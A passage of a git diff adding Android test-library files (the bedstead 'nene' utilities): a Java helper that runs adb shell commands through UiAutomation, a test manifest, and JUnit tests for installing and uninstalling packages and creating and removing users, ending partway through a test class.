diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
new file mode 100644
index 0000000..c23cbfb
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import static android.os.Build.VERSION.SDK_INT;
+
+import android.app.UiAutomation;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.compatibility.common.util.FileUtils;
+
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.function.Function;
+
+/**
+ * Utilities for interacting with adb shell commands.
+ */
+public final class ShellCommandUtils {
+
+    private static final String LOG_TAG = ShellCommandUtils.class.getName();
+
+    private static final int OUT_DESCRIPTOR_INDEX = 0;
+    private static final int IN_DESCRIPTOR_INDEX = 1;
+    private static final int ERR_DESCRIPTOR_INDEX = 2;
+
+    // 60 seconds
+    private static final int MAX_WAIT_UNTIL_ATTEMPTS = 600;
+    private static final long WAIT_UNTIL_DELAY_MILLIS = 100;
+
+    private ShellCommandUtils() { }
+
+    /**
+     * Execute an adb shell command.
+     *
+     * <p>When running on S and above, any failures in executing the command will result in an
+     * {@link AdbException} being thrown. On earlier versions of Android, an {@link AdbException}
+     * will be thrown when the command returns no output (indicating that there is an error on
+     * stderr which cannot be read by this method) but some failures will return seemingly correctly
+     * but with an error in the returned string.
+     *
+     * <p>Callers should be careful to check the command's output is valid.
+     */
+    public static String executeCommand(String command) throws AdbException {
+        return executeCommand(command, /* allowEmptyOutput=*/ false, /* stdInBytes= */ null);
+    }
+
+    static String executeCommand(String command, boolean allowEmptyOutput, byte[] stdInBytes)
+            throws AdbException {
+        logCommand(command, allowEmptyOutput, stdInBytes);
+
+        if (SDK_INT < 31) { // TODO(scottjonathan): Replace with S
+            return executeCommandPreS(command, allowEmptyOutput, stdInBytes);
+        }
+
+        // TODO(scottjonathan): Add argument to force errors to stderr
+        UiAutomation automation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+
+            ParcelFileDescriptor[] fds = automation.executeShellCommandRwe(command);
+            ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX];
+            ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX];
+            ParcelFileDescriptor fdErr = fds[ERR_DESCRIPTOR_INDEX];
+
+            writeStdInAndClose(fdIn, stdInBytes);
+
+            String out = readStreamAndClose(fdOut);
+            String err = readStreamAndClose(fdErr);
+
+            if (!err.isEmpty()) {
+                throw new AdbException("Error executing command", command, out, err);
+            }
+
+            Log.d(LOG_TAG, "Command result: " + out);
+
+            return out;
+        } catch (IOException e) {
+            throw new AdbException("Error executing command", command, e);
+        }
+    }
+
+    private static void logCommand(String command, boolean allowEmptyOutput, byte[] stdInBytes) {
+        StringBuilder logBuilder = new StringBuilder("Executing shell command ");
+        logBuilder.append(command);
+        if (allowEmptyOutput) {
+            logBuilder.append(" (allow empty output)");
+        }
+        if (stdInBytes != null) {
+            logBuilder.append(" (writing to stdIn)");
+        }
+        Log.d(LOG_TAG, logBuilder.toString());
+    }
+
+    /**
+     * Execute an adb shell command and check that the output meets a given criteria.
+     *
+     * <p>On S and above, any output printed to standard error will result in an exception and the
+     * {@code outputSuccessChecker} not being called. Empty output will still be processed.
+     *
+     * <p>Prior to S, if there is no output on standard out, regardless of if there is output on
+     * standard error, {@code outputSuccessChecker} will not be called.
+     *
+     * <p>{@code outputSuccessChecker} should return {@code true} if the output indicates the
+     * command executed successfully.
+     */
+    public static String executeCommandAndValidateOutput(
+            String command, Function<String, Boolean> outputSuccessChecker) throws AdbException {
+        return executeCommandAndValidateOutput(command,
+                /* allowEmptyOutput= */ false,
+                /* stdInBytes= */ null,
+                outputSuccessChecker);
+    }
+
+    static String executeCommandAndValidateOutput(
+            String command,
+            boolean allowEmptyOutput,
+            byte[] stdInBytes,
+            Function<String, Boolean> outputSuccessChecker) throws AdbException {
+        String output = executeCommand(command, allowEmptyOutput, stdInBytes);
+        if (!outputSuccessChecker.apply(output)) {
+            throw new AdbException("Command did not meet success criteria", command, output);
+        }
+        return output;
+    }
+
+    /**
+     * Execute an adb shell command and check that the output meets a given criteria. Run the
+     * command repeatedly until the output meets the criteria.
+     *
+     * <p>On S and above, any output printed to standard error will result in an exception and the
+     * {@code outputSuccessChecker} not being called. Empty output will still be processed.
+     *
+     * <p>Prior to S, if there is no output on standard out, regardless of if there is output on
+     * standard error, {@code outputSuccessChecker} will not be called.
+     *
+     * <p>{@code outputSuccessChecker} should return {@code true} if the output indicates the
+     * command executed successfully.
+     */
+    public static String executeCommandUntilOutputValid(
+            String command, Function<String, Boolean> outputSuccessChecker)
+            throws AdbException, InterruptedException {
+        int attempts = 0;
+        while (attempts++ < MAX_WAIT_UNTIL_ATTEMPTS) {
+            try {
+                return executeCommandAndValidateOutput(command, outputSuccessChecker);
+            } catch (AdbException e) {
+                // ignore, will retry
+                Thread.sleep(WAIT_UNTIL_DELAY_MILLIS);
+            }
+        }
+        return executeCommandAndValidateOutput(command, outputSuccessChecker);
+    }
+
+    /**
+     * Return {@code true} if {@code output} starts with "success", case insensitive.
+     */
+    public static boolean startsWithSuccess(String output) {
+        return output.toUpperCase().startsWith("SUCCESS");
+    }
+
+    /**
+     * Return {@code true} if {@code output} does not start with "error", case insensitive.
+     */
+    public static boolean doesNotStartWithError(String output) {
+        return !output.toUpperCase().startsWith("ERROR");
+    }
+
+    private static String executeCommandPreS(
+            String command, boolean allowEmptyOutput, byte[] stdInBytes) throws AdbException {
+        UiAutomation automation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        ParcelFileDescriptor[] fds = automation.executeShellCommandRw(command);
+        ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX];
+        ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX];
+
+        try {
+            writeStdInAndClose(fdIn, stdInBytes);
+
+            try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) {
+                String out = new String(FileUtils.readInputStreamFully(fis));
+
+                if (!allowEmptyOutput && out.isEmpty()) {
+                    throw new AdbException(
+                            "No output from command. There's likely an error on stderr",
+                            command, out);
+                }
+
+                Log.d(LOG_TAG, "Command result: " + out);
+
+                return out;
+            }
+        } catch (IOException e) {
+            throw new AdbException(
+                    "Error reading command output", command, e);
+        }
+    }
+
+    private static void writeStdInAndClose(ParcelFileDescriptor fdIn, byte[] stdInBytes)
+            throws IOException {
+        if (stdInBytes != null) {
+            try (FileOutputStream fos = new ParcelFileDescriptor.AutoCloseOutputStream(fdIn)) {
+                fos.write(stdInBytes);
+            }
+        } else {
+            fdIn.close();
+        }
+    }
+
+    private static String readStreamAndClose(ParcelFileDescriptor fd) throws IOException {
+        try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fd)) {
+            return new String(FileUtils.readInputStreamFully(fis));
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/AndroidManifest.xml b/common/device-side/bedstead/nene/src/test/AndroidManifest.xml
new file mode 100644
index 0000000..8fd18c6
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.nene.test">
+    <application
+        android:label="Nene Tests"
+        android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
+
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name="com.android.bedstead.nene.test.Activity" android:exported="false"/>
+
+    </application>
+    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.bedstead.nene.test"
+                     android:label="Nene Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/TestApisTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/TestApisTest.java
new file mode 100644
index 0000000..db10699
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/TestApisTest.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.google.common.truth.Truth;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class TestApisTest {
+
+    private final TestApis mTestApis = new TestApis();
+
+    @Test
+    public void users_returnsInstance() {
+        Truth.assertThat(mTestApis.users()).isNotNull();
+    }
+
+    @Test
+    public void users_multipleCalls_returnsSameInstance() {
+        Truth.assertThat(mTestApis.users()).isEqualTo(mTestApis.users());
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java
new file mode 100644
index 0000000..5cbde10
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.UserReference;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+
+@RunWith(JUnit4.class)
+public class PackageReferenceTest {
+
+    private final TestApis mTestApis = new TestApis();
+    private final UserReference mUser = mTestApis.users().instrumented();
+    private static final String NON_EXISTING_PACKAGE_NAME = "com.package.does.not.exist";
+    private static final String PACKAGE_NAME = NON_EXISTING_PACKAGE_NAME;
+    private static final String EXISTING_PACKAGE_NAME = "com.android.providers.telephony";
+
+    // Controlled by AndroidTest.xml
+    private static final String TEST_APP_PACKAGE_NAME =
+            "com.android.bedstead.nene.testapps.TestApp1";
+    private static final File TEST_APP_APK_FILE = new File("/data/local/tmp/NeneTestApp1.apk");
+    private static final File NON_EXISTING_APK_FILE =
+            new File("/data/local/tmp/ThisApkDoesNotExist.apk");
+
+    @Test
+    public void packageName_returnsPackageName() {
+        mTestApis.packages().find(PACKAGE_NAME).packageName().equals(PACKAGE_NAME);
+    }
+
+    @Test
+    public void resolve_nonExistingPackage_returnsNull() {
+        assertThat(mTestApis.packages().find(NON_EXISTING_PACKAGE_NAME).resolve()).isNull();
+    }
+
+    @Test
+    public void resolve_existingPackage_returnsPackage() {
+        assertThat(mTestApis.packages().find(EXISTING_PACKAGE_NAME).resolve()).isNotNull();
+    }
+
+    @Test
+    public void install_packageIsInstalled() {
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            packageReference.uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void install_nonExistingPackage_throwsException() {
+        assertThrows(NeneException.class,
+                () -> mTestApis.packages().install(mUser, NON_EXISTING_APK_FILE));
+    }
+
+    @Test
+    public void uninstall_packageIsUninstalled() {
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        packageReference.uninstall(mUser);
+
+        assertThat(packageReference.resolve()).isNull();
+    }
+
+    @Test
+    public void uninstall_packageNotInstalledForUser_throwsException() {
+        UserReference otherUser = mTestApis.users().createUser().createAndStart();
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThrows(NeneException.class, () -> packageReference.uninstall(otherUser));
+        } finally {
+            packageReference.uninstall(mUser);
+            otherUser.remove();
+        }
+    }
+
+    @Test
+    public void uninstall_packageDoesNotExist_throwsException() {
+        PackageReference packageReference = mTestApis.packages().find(NON_EXISTING_PACKAGE_NAME);
+
+        assertThrows(NeneException.class, () -> packageReference.uninstall(mUser));
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
new file mode 100644
index 0000000..f470c8b
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+
+@RunWith(JUnit4.class)
+public class PackageTest {
+
+    // Controlled by AndroidTest.xml
+    private static final String TEST_APP_PACKAGE_NAME =
+            "com.android.bedstead.nene.testapps.TestApp1";
+    private static final File TEST_APP_APK_FILE = new File("/data/local/tmp/NeneTestApp1.apk");
+
+    private final TestApis mTestApis = new TestApis();
+    private final UserReference mUser = mTestApis.users().instrumented();
+
+    @Test
+    public void installedOnUsers_includesUserWithPackageInstalled() {
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            packageReference.uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void installedOnUsers_doesNotIncludeUserWithoutPackageInstalled() {
+        UserReference user = mTestApis.users().createUser().create();
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers()).doesNotContain(user);
+        } finally {
+            packageReference.uninstall(mUser);
+            user.remove();
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
new file mode 100644
index 0000000..ae0cd0b
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
@@ -0,0 +1,299 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.compatibility.common.util.FileUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+
+@RunWith(JUnit4.class)
+public class PackagesTest {
+    private static final String INPUT_METHODS_FEATURE = "android.software.input_methods";
+    private static final String NON_EXISTING_PACKAGE = "com.package.does.not.exist";
+
+    // Controlled by AndroidTest.xml
+    private static final String TEST_APP_PACKAGE_NAME =
+            "com.android.bedstead.nene.testapps.TestApp1";
+    private static final File TEST_APP_APK_FILE = new File("/data/local/tmp/NeneTestApp1.apk");
+    private static final byte[] TEST_APP_BYTES = loadBytes(TEST_APP_APK_FILE);
+
+    private final TestApis mTestApis = new TestApis();
+    private final UserReference mUser = mTestApis.users().instrumented();
+    private final PackageReference mExistingPackage =
+            mTestApis.packages().find("com.android.providers.telephony");
+    private final UserReference mNonExistingUser = mTestApis.users().find(99999);
+    private final File mApkFile = new File("");
+
+    private static byte[] loadBytes(File file) {
+        try (FileInputStream fis = new FileInputStream(file)) {
+            return FileUtils.readInputStreamFully(fis);
+        } catch (IOException e) {
+            throw new AssertionError("Could not read file bytes");
+        }
+    }
+
+    @Test
+    public void construct_nullTestApis_throwsException() {
+        assertThrows(NullPointerException.class, () -> new Packages(/* testApis= */ null));
+    }
+
+    @Test
+    public void construct_constructs() {
+        new Packages(mTestApis); // Doesn't throw any exceptions
+    }
+
+    @Test
+    public void features_noUserSpecified_containsKnownFeature() {
+        assertThat(mTestApis.packages().features()).contains(INPUT_METHODS_FEATURE);
+    }
+
+    @Test
+    public void all_containsKnownPackage() {
+        assertThat(mTestApis.packages().all()).contains(mExistingPackage);
+    }
+
+    @Test
+    public void find_nullPackageName_throwsException() {
+        assertThrows(NullPointerException.class, () -> mTestApis.packages().find(null));
+    }
+
+    @Test
+    public void find_existingPackage_returnsPackageReference() {
+        assertThat(mTestApis.packages().find(mExistingPackage.packageName())).isNotNull();
+    }
+
+    @Test
+    public void find_nonExistingPackage_returnsPackageReference() {
+        assertThat(mTestApis.packages().find(NON_EXISTING_PACKAGE)).isNotNull();
+    }
+
+    @Test
+    public void installedForUser_nullUserReference_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.packages().installedForUser(/* user= */ null));
+    }
+
+    @Test
+    public void installedForUser_containsPackageInstalledForUser() {
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThat(mTestApis.packages().installedForUser(mUser)).contains(packageReference);
+        } finally {
+            packageReference.uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void installedForUser_doesNotContainPackageNotInstalledForUser() {
+        UserReference otherUser = mTestApis.users().createUser().create();
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThat(mTestApis.packages().installedForUser(otherUser))
+                    .doesNotContain(packageReference);
+        } finally {
+            packageReference.uninstall(mUser);
+            otherUser.remove();
+        }
+    }
+
+    @Test
+    public void install_nullUser_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.packages().install(/* user= */ null, mApkFile));
+    }
+
+    @Test
+    public void install_byteArray_nullUser_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.packages().install(/* user= */ null, TEST_APP_BYTES));
+    }
+
+    @Test
+    public void install_nullApkFile_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.packages().install(mUser, (File) /* apkFile= */ null));
+    }
+
+    @Test
+    public void install_nullByteArray_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.packages().install(mUser, (byte[]) /* apkFile= */ null));
+    }
+
+    @Test
+    public void install_instrumentedUser_isInstalled() {
+        mTestApis.packages().install(mTestApis.users().instrumented(), TEST_APP_APK_FILE);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers())
+                    .contains(mTestApis.users().instrumented());
+        } finally {
+            packageReference.uninstall(mTestApis.users().instrumented());
+        }
+    }
+
+    @Test
+    public void install_byteArray_instrumentedUser_isInstalled() {
+        mTestApis.packages().install(mTestApis.users().instrumented(), TEST_APP_BYTES);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers())
+                    .contains(mTestApis.users().instrumented());
+        } finally {
+            packageReference.uninstall(mTestApis.users().instrumented());
+        }
+    }
+
+    @Test
+    public void install_differentUser_isInstalled() {
+        UserReference user = mTestApis.users().createUser().createAndStart();
+        mTestApis.packages().install(user, TEST_APP_APK_FILE);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers()).contains(user);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void install_byteArray_differentUser_isInstalled() {
+        UserReference user = mTestApis.users().createUser().createAndStart();
+        mTestApis.packages().install(user, TEST_APP_BYTES);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers()).contains(user);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void install_userNotStarted_throwsException() {
+        UserReference user = mTestApis.users().createUser().create().stop();
+
+        try {
+            assertThrows(NeneException.class, () -> mTestApis.packages().install(user,
+                    TEST_APP_APK_FILE));
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void install_byteArray_userNotStarted_throwsException() {
+        UserReference user = mTestApis.users().createUser().create().stop();
+
+        try {
+            assertThrows(NeneException.class, () -> mTestApis.packages().install(user,
+                    TEST_APP_BYTES));
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void install_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () -> mTestApis.packages().install(mNonExistingUser,
+                TEST_APP_APK_FILE));
+    }
+
+    @Test
+    public void install_byteArray_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () -> mTestApis.packages().install(mNonExistingUser,
+                TEST_APP_BYTES));
+    }
+
+    @Test
+    public void install_alreadyInstalledForUser_installs() {
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            packageReference.uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void install_byteArray_alreadyInstalledForUser_installs() {
+        mTestApis.packages().install(mUser, TEST_APP_BYTES);
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            mTestApis.packages().install(mUser, TEST_APP_BYTES);
+            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            packageReference.uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void install_alreadyInstalledOnOtherUser_installs() {
+        UserReference otherUser = mTestApis.users().createUser().createAndStart();
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+        try {
+            mTestApis.packages().install(otherUser, TEST_APP_APK_FILE);
+
+            mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+
+            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            packageReference.uninstall(mUser);
+            otherUser.remove();
+        }
+    }
+
+    @Test
+    public void install_byteArray_alreadyInstalledOnOtherUser_installs() {
+        UserReference otherUser = mTestApis.users().createUser().createAndStart();
+        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+        try {
+            mTestApis.packages().install(otherUser, TEST_APP_BYTES);
+
+            mTestApis.packages().install(mUser, TEST_APP_BYTES);
+
+            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            packageReference.uninstall(mUser);
+            otherUser.remove();
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
new file mode 100644
index 0000000..4d143d6
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.os.Build.VERSION.SDK_INT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class UserReferenceTest {
+    private static final int NON_EXISTING_USER_ID = 10000;
+    private static final int USER_ID = NON_EXISTING_USER_ID;
+    private static final String USER_NAME = "userName";
+    private static final Context sContext =
+            InstrumentationRegistry.getInstrumentation().getContext();
+    private static final String TEST_ACTIVITY_NAME = "com.android.bedstead.nene.test.Activity";
+
+    private final TestApis mTestApis = new TestApis();
+    private final Users mUsers = mTestApis.users();
+
+    @Test
+    public void id_returnsId() {
+        assertThat(mUsers.find(USER_ID).id()).isEqualTo(USER_ID);
+    }
+
+    @Test
+    public void userHandle_referencesId() {
+        assertThat(mUsers.find(USER_ID).userHandle().getIdentifier()).isEqualTo(USER_ID);
+    }
+
+    @Test
+    public void resolve_doesNotExist_returnsNull() {
+        assertThat(mUsers.find(NON_EXISTING_USER_ID).resolve()).isNull();
+    }
+
+    @Test
+    public void resolve_doesExist_returnsUser() {
+        UserReference userReference = mUsers.createUser().create();
+
+        try {
+            assertThat(userReference.resolve()).isNotNull();
+        } finally {
+            userReference.remove();
+        }
+    }
+
+    @Test
+    public void resolve_doesExist_userHasCorrectDetails() {
+        UserReference userReference = mUsers.createUser().name(USER_NAME).create();
+
+        try {
+            User user = userReference.resolve();
+            assertThat(user.name()).isEqualTo(USER_NAME);
+        } finally {
+            userReference.remove();
+        }
+    }
+
+    @Test
+    public void remove_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () -> mUsers.find(USER_ID).remove());
+    }
+
+    @Test
+    public void remove_userExists_removesUser() {
+        UserReference user = mUsers.createUser().create();
+
+        user.remove();
+
+        assertThat(mUsers.all().stream().anyMatch(u -> u.id() == user.id())).isFalse();
+    }
+
+    @Test
+    public void start_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () -> mUsers.find(NON_EXISTING_USER_ID).start());
+    }
+
+    @Test
